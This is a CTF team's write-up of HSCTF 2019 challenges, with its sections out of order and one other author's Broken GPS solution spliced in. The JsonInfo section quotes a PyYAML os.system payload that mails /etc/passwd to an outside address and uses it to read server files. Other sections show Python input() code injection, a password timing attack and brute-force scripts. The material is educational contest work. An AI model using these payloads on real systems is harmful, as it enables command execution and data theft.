ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
# Broken GPS
## __Decription__
Ella is following a broken GPS. The GPS tells her to move in the opposite direction than the one she should be travelling in to get to her destination, and she follows her GPS exactly. For instance, every time she is supposed to move west, the GPS tells her to move east and she does so. Eventually she ends up in a totally different place than her intended location. What is the shortest distance between these two points? Assume that she moves one unit every time a direction is specified. For instance, if the GPS tells her to move "north," she moves one unit north. If the GPS tells her to move "northwest," then she moves one unit north and one unit west.
__Input Format:__
You will receive a text file with N directions provided to her by the GPS (the ones that she will be following) (1<=N<=1000). The first line in the file will be N, and each consequent line will contain a single direction: “north,” “south,” “east,” “west,” “northwest,” “northeast,” “southwest,” or “southeast.”
__Output Format:__
Round your answer to the nearest whole number and then divide by 26. Discard the quotient (mod 26). Each possible remainder corresponds to a letter in the alphabet. (0=a, 1=b… 25=z).Find the letter for each test case and string them together. The result is the flag. (For instance, a, b, c becomes “abc”). Remember to use the flag format and keep all letters lowercase!
## __Solution__
This challenge is like a programming challenge.
I set the initial position at x=0, y=0.
Parsing the whole files, whenever it encounters 'east' in the text, add 1 to x. The 'west's take 1 from x. 'south' and 'north' are the same for y.
```for line in f: if 'east' in line: x += 1 if 'west' in line: x -= 1 if 'north' in line: y += 1 if 'south' in line: y -= 1```
Finally, calculate 2\*sqrt(x^2+y^2), round it to interger and divide it by 26.
Repeating the process for the 10 files give us the answer
```garminesuckz```
The flag is ```hsctf{garminesuckz}``` |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
